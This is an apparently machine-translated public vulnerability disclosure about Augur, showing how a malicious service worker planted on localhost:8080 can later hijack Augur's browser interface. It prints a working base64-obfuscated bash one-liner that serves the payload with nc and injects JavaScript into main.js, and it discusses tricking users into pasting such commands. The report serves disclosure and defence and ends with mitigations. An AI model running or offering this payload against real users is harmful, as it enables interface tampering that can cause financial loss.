Это отчет об уязвимости, отправленный в Augur около трех недель назад и разрешенный им публично раскрыть. Хотя сама атака немного запутана и ее трудно осуществить, она является универсальной и может быть нацелена на несколько децентрализованных приложений.

Фон Augur

В настоящее время архитектура Augur состоит из 3 отдельных слоев:

  • На самом низком уровне Augur состоит из пакета смарт-контрактов, построенных на основе Ethereum. Этот уровень обеспечивается глобальной цепочкой блоков и может быть доступен через узлы шлюза, которыми управляет пользователь или доверенный удаленный объект.
  • На среднем уровне Augur состоит из промежуточного уровня обслуживания, который использует (доверенный) шлюз Ethereum в качестве источника данных, строит базу данных из журналов контрактов, обслуживая предварительно подготовленные данные для веб-интерфейса.
  • На самом высоком уровне Augur состоит из веб-интерфейса, обслуживаемого доверенным узлом Augur, отображаемого и взаимодействующего через собственный локальный браузер пользователя через http://localhost:8080.

В этом отчете предполагается, что сеть Ethereum, шлюз и шлюз Augur заслуживают доверия и работают правильно. Отчет атакует последнее звено в цепочке, браузер пользователя, в результате чего произвольный код внедряется в пользовательский интерфейс Augur.

Опыт работы обслуживающего персонала

Service worker - это сценарий, который ваш браузер запускает в фоновом режиме, отдельно от веб-страницы, открывая доступ к функциям, которым не нужны веб-страница или взаимодействие с пользователем. Основная функция - способность перехватывать и обрабатывать сетевые запросы. ~ Разработчики Google

Чтобы немного расширить приведенное выше краткое описание, сервис-воркеры - это технология, поддерживаемая всеми современными веб-браузерами, позволяющая веб-сайту регистрировать произвольный JavaScript для работы в качестве фонового потока под веб-сайтом. Основная цель - разрешить автономное кэширование, при котором сервисный работник может перехватывать сетевые запросы и обслуживать их (включая внесение в них произвольных изменений). Это позволяет такому коду JavaScript действовать как временный сервер, когда у пользователя нет подключения к Интернету.

Полное изложение технологии см. На странице разработчика Google, но интересными аспектами с точки зрения этого отчета (помимо основных функций перехвата сетевых запросов) являются жизненный цикл сервис-воркеров и их модель угроз:

  • Веб-сайт может установить сервис-воркер в произвольный момент времени. Этот сервис-воркер остается в силе и работает до тех пор, пока он не будет явно отменен! Сервис-воркер переживает обновление страницы, полное принудительное обновление и даже перезапуск браузера. Сервис-воркеры не привязаны к обслуживаемому контенту, ранее зарегистрированный сервис-воркер будет активен даже для совершенно нового, несвязанного контента.
  • Поскольку сервис-воркеры со всех сторон являются преднамеренными атаками MITM, у них есть строгая политика безопасности, заключающаяся в том, что они работают только с HTTPS (гарантируя, что веб-сайт может регистрировать только код, который перехватывает его собственный контент), и работают только от того же происхождения, откуда они были зарегистрированы. Localhost является исключением из строгой политики безопасности, что упрощает разработку.

Я думаю, вы уже знаете, к чему это приведет ...

Объяснение эксплойта

Атака, описанная в этом документе, состоит из злоупотребления политикой безопасности сервис-воркера современного браузера в сочетании с архитектурным дизайном Augur, предусматривающим запуск пользовательского интерфейса в браузере, чтобы беспрепятственно перехватить все коммуникации Augur, а также беспрепятственно внедрить произвольный код в пользовательский интерфейс Augur:

  • Пользовательский интерфейс Augur работает с http://localhost:8080, без аутентификации с точки зрения SSL. Невозможно доказать, что код из разных сеансов принадлежит (или не принадлежит) одному (или другому) приложению.
  • Браузеры рассматривают localhost как среду разработки, поэтому они позволяют устанавливать и запускать сервис-воркеры без SSL-аутентификации.
  • Сервис-воркеры всегда будут бездействовать в браузере (без управления кешем, без возможности предварительного обнаружения) и будут выполняться каждый раз при загрузке одного и того же источника (http://localhost:8080).

Доставка полезной нагрузки

Однако, чтобы захватить Augur, нам в первую очередь нужно установить сервис-воркер на localhost:8080. Для этого необходимо хотя бы один раз запустить вредоносный веб-сервер на целевой машине и хотя бы один раз загрузить localhost:8080 в веб-браузере пользователя до Augur.

Прежде чем перейти к тому, насколько это может быть легко или сложно, давайте продемонстрируем явно очевидный способ сделать это, чтобы лучше объяснить атаку. Рассмотрим следующий полностью рабочий и полностью автономный эксплойт от Go:

Вкратце этот код:

  • Запустите веб-сервер Go, обслуживающий две конечные точки: / для индекса и /pwner.js для работника службы угона.
  • Страница index.html состоит из крошечного скрипта, который регистрирует /pwner.js как сервис-воркер. Он также показывает прыгающего суслика для развлечения.
  • Сервисный воркер /pwner.js - это простой скрипт, который перехватывает все сетевые запросы, печатает журнал для каждого и, если встречает запрос к main.js (код авгура), в конце внедряет произвольный JavaScript.

Мы можем запустить приведенный выше код через go run exploit.go (или другое имя файла, в котором вы его сохранили) и загрузить страницу из веб-браузера. Будет отображаться суслик, больше ничего. Однако, если вы проверите консоль JavaScript, вы должны увидеть что-то вроде:

Registration successful, scope is: http://localhost:8080/
pwner.js:4 Service worker installing…
pwner.js:9 Service worker activating…
pwner.js:15 Fetching: https://gophercises.com/img/gophercises_jumping.gif

На этом этапе вы можете завершить работу сервера атакующего Go и закрыть браузер. Сценарий взлома успешно внедрен для перехвата чего-либо в localhost:8080 источнике.

Выполнение полезной нагрузки

Проходит время (произвольно много, нас даже не волнует), и пользователь в конце концов загружает и запускает Augur из официального репозитория и / или клиента. Это запустит приложение Augur, синхронизирует локальную базу данных с сетью Ethereum. Когда синхронизация завершена, пользователь нажимает кнопку «Открыть приложение Augur», загружая пользовательский интерфейс Augur из приложения в браузере пользователя.

На этом этапе наш ранее бездействующий сервис-воркер начинает выполнение, перехватывая все сетевые запросы между пользовательским интерфейсом и серверной службой. Это позволяет нам произвольно изменять поток данных между пользователем и службой, а также позволяет нам вводить произвольный код JavaScript в сам пользовательский интерфейс.

Вы можете увидеть это с помощью введенного предупреждения JavaScript, в котором отображается «Вас обманули!».

Использование воздействия

Воздействие эксплойта на самом деле довольно велико. Имея полный контроль над сетевым трафиком между пользовательским интерфейсом и внутренним сервером; а также имея полный контроль над содержимым пользовательского интерфейса, злоумышленник может отображать произвольные рынки Augur, акции, статистику и т. д.

Злоумышленник не имеет прямого контроля над средствами пользователя, а злоумышленник не может напрямую заставить пользователя подписать нежелательные транзакции. Однако, изменяя описания и статистику рынка, злоумышленник может убедить пользователя сделать проигрышные ставки (например, изменить условие выигрыша), что приведет к потере средств. Злоумышленник может также делать встречные ставки на захваченном рынке, что приводит к прямой выгоде для себя.

С технической точки зрения причина, по которой эксплойт может считаться значительным воздействием, заключается в том, что он не требует повышенных разрешений для запуска, после однократного запуска он остается бездействующим навсегда в системе пользователя, и это полностью законная функция браузера, поэтому никакое программное обеспечение для обнаружения эксплойтов никогда не сможет его отловить.

Доставка эксплойтов

Однако самая сложная часть эксплойта - это в первую очередь доставка его конечному пользователю. Как объяснялось выше, браузеры применяют политики безопасности одного и того же происхождения к работникам служб, поэтому единственный способ атаковать Augur в системе пользователя - это заставить пользователя загрузить вредоносную страницу из localhost:8080.

Приведенный выше код Go является хорошей демонстрацией для этого, но, очевидно, это нереальный сценарий. Нам нужны более совершенные атаки социальной инженерии, чтобы доставить эксплойт в систему пользователя.

Команда Bash

В настоящее время распространенный способ атаковать пользователей криптовалюты - заставить их скопировать код вставки со случайных веб-страниц или чатов в свой терминал. Хотя это может показаться слишком глупым, похоже, что это работает, тем более что для этой конкретной атаки даже не требуется root-доступ.

Следующая команда bash из 791 символа выполнит полную инъекцию перехвата, включая обслуживание 2 разных веб-страниц и автоматическое указание браузера пользователя для их загрузки и регистрации сервис-воркера.

echo SFRUUC8xLjEgMjAwIE9LDQoNCjxzY3JpcHQ+bmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoJycpPC9zY3JpcHQ+ | base64 -d | nc -lN 8080 > /dev/null && echo SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvamF2YXNjcmlwdA0KDQpzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImluc3RhbGwiLGZ1bmN0aW9uKGV2ZW50KXtzZWxmLnNraXBXYWl0aW5nKCl9KTtzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImZldGNoIixmdW5jdGlvbihldmVudCl7aWYoZXZlbnQucmVxdWVzdC51cmwuc3RhcnRzV2l0aCgiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21haW4uIikpe2V2ZW50LnJlc3BvbmRXaXRoKGZldGNoKGV2ZW50LnJlcXVlc3QudXJsKS50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKXtyZXR1cm4gcmVzcG9uc2UudGV4dCgpfSkudGhlbihmdW5jdGlvbih0ZXh0KXtyZXR1cm4gbmV3IFJlc3BvbnNlKHRleHQrYApzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxlcnQoIllvdSBhcmUgUHduZWQhIil9LDMwMDApYCl9KSl9fSkK | base64 -d | nc -lN 8080 > /dev/null & xdg-open http://localhost:8080

Хотя это может показаться немного безобидным, злоумышленник может легко скрыть это в более крупном скрипте, который на самом деле делает что-то полезное. Поскольку внедрение эксплойта не делает что-либо немедленно, уязвимый пользователь не заметит бездействующий эксплойт на его машине, ожидающий выполнения.

Взломать услуги 8080

Порт 8080 на localhost - это стандартный порт для запуска практически любой веб-службы. Веб-разработчики привыкли запускать на нем свой код разработки. Многие службы, инструменты мониторинга и т. Д. Любят работать с некоторыми вариациями 8080. Это означает, что захват порта 8080 на машинах разработчиков имеет повышенную вероятность, так как для этого требуется всего несколько строк в любой веб-зависимости, которая должна выполняться один раз, а затем может быть удалена без следа.

Хотя разработчики, вероятно, не захотят запускать произвольный код на своих машинах (хотя будем честны, мы все запускали этот потрясающий скрипт из GitHub по какой-то причине), этот эксплойт особенно неприятен, поскольку он запускается полностью среда с песочницей (браузер пользователя), поэтому никто не ожидает, что загрузка одной страницы может оставить произвольный активированный код.

Предложения

По сути, кажется, что запуск пользовательского интерфейса Augur в браузере пользователя из localhost, возможно, был не самым продуманным решением из-за origin конфликтов. Браузеры всегда относятся к localhost как к особой снежинке, когда дело касается политик безопасности, и я могу представить себе будущие уязвимости, связанные с этим. Если Augur полагается на Electron для многих своих функций, возможно, имеет смысл поставлять весь браузер вместе с Augur и иметь специальный процесс исключительно для Augur. Это предотвратит попадание вредоносных сценариев из старых сеансов браузера в новые.

Запуск на порт 8080 снова является менее удачным решением, поскольку origin мудро он конфликтует со слишком многими другими поставщиками, а также конфликтует с выбором разработчика по умолчанию. Запуск на каком-то странном номере порта не должен повлиять на взаимодействие с пользователем, но должен значительно усложнить доставку эксплойта на этот конкретный порт в отличие от обычного 8080.